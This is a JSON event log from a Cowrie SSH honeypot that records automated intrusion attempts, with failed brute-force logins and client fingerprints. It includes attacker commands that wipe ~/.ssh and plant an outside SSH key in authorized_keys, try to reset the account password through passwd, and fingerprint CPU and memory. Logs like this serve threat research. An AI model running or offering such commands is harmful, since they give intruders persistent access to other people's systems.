{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:00.384339Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:00.543582Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:00.546871Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:00.667963Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:00.671928Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":58214,"dst_ip":"159.203.135.109","dst_port":22,"session":"01752957d19a","protocol":"ssh","message":"New connection: 45.183.70.66:58214 (159.203.135.109:22) [session: 01752957d19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:00.780218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:00.786321Z","src_ip":"45.183.70.66","session":"01752957d19a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:00.910125Z","src_ip":"45.183.70.66","session":"01752957d19a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54156,"dst_ip":"159.203.135.109","dst_port":22,"session":"899eb6c9eaf4","protocol":"ssh","message":"New connection: 45.156.87.204:54156 (159.203.135.109:22) [session: 899eb6c9eaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:01.128711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:01.132414Z","src_ip":"45.156.87.204","session":"899eb6c9eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":47524,"dst_ip":"159.203.135.109","dst_port":22,"session":"bae619ab5922","protocol":"ssh","message":"New connection: 119.28.114.76:47524 (159.203.135.109:22) [session: bae619ab5922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:01.157701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:01.165744Z","src_ip":"119.28.114.76","session":"bae619ab5922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:01.214429Z","src_ip":"45.156.87.204","session":"899eb6c9eaf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:01.402671Z","src_ip":"119.28.114.76","session":"bae619ab5922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:01.410417Z","src_ip":"45.183.70.66","session":"01752957d19a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:01.462374Z","src_ip":"45.156.87.204","session":"899eb6c9eaf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd2024","message":"login attempt [root/Passw0rd2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:02.381310Z","src_ip":"119.28.114.76","session":"bae619ab5922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:02.530772Z","src_ip":"45.183.70.66","session":"01752957d19a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:02.546132Z","src_ip":"45.156.87.204","session":"899eb6c9eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":58220,"dst_ip":"159.203.135.109","dst_port":22,"session":"121e6a434a40","protocol":"ssh","message":"New connection: 45.183.70.66:58220 (159.203.135.109:22) [session: 121e6a434a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:02.642661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:02.647976Z","src_ip":"45.183.70.66","session":"121e6a434a40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:02.766475Z","src_ip":"45.183.70.66","session":"121e6a434a40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:03.263730Z","src_ip":"45.183.70.66","session":"121e6a434a40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:03.620526Z","src_ip":"119.28.114.76","session":"bae619ab5922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:04.383704Z","src_ip":"45.183.70.66","session":"121e6a434a40","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:04.555048Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:04.558285Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58336,"dst_ip":"159.203.135.109","dst_port":22,"session":"323a239d110f","protocol":"ssh","message":"New connection: 45.156.87.204:58336 (159.203.135.109:22) [session: 323a239d110f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:04.673146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:04.677875Z","src_ip":"45.156.87.204","session":"323a239d110f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:04.760592Z","src_ip":"45.156.87.204","session":"323a239d110f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:04.791486Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:04.965836Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2023\\nw3a2AYHyO7ji\\nw3a2AYHyO7ji\"|passwd|bash","message":"CMD: echo -e \"admin@2023\\nw3a2AYHyO7ji\\nw3a2AYHyO7ji\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:04.969416Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:04.973289Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:04.976752Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:05.067192Z","src_ip":"45.156.87.204","session":"323a239d110f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e1be195437f56962cd1c08201bdba9f01efe4a8e9706030bf7ca6fc1785c9bad","size":32,"shasum":"e1be195437f56962cd1c08201bdba9f01efe4a8e9706030bf7ca6fc1785c9bad","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e1be195437f56962cd1c08201bdba9f01efe4a8e9706030bf7ca6fc1785c9bad after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:05.211130Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:05.386712Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2023\\nw3a2AYHyO7ji\\nw3a2AYHyO7ji\\n\"|passwd","message":"CMD: echo \"admin@2023\\nw3a2AYHyO7ji\\nw3a2AYHyO7ji\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:05.389957Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/79032c32ce63cc69ac444579595b2ddd5dda50fc07a0b13dc6e980ccebe04715","size":25,"shasum":"79032c32ce63cc69ac444579595b2ddd5dda50fc07a0b13dc6e980ccebe04715","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/79032c32ce63cc69ac444579595b2ddd5dda50fc07a0b13dc6e980ccebe04715 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:05.621647Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:05.783811Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:05.787352Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52238,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e3a3b6ae9c9","protocol":"telnet","message":"New connection: 152.42.224.71:52238 (10.17.0.5:23) [session: 9e3a3b6ae9c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:05.811360Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:06.021573Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:06.190372Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:06.194020Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:06.202914Z","src_ip":"45.156.87.204","session":"323a239d110f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:06.428369Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
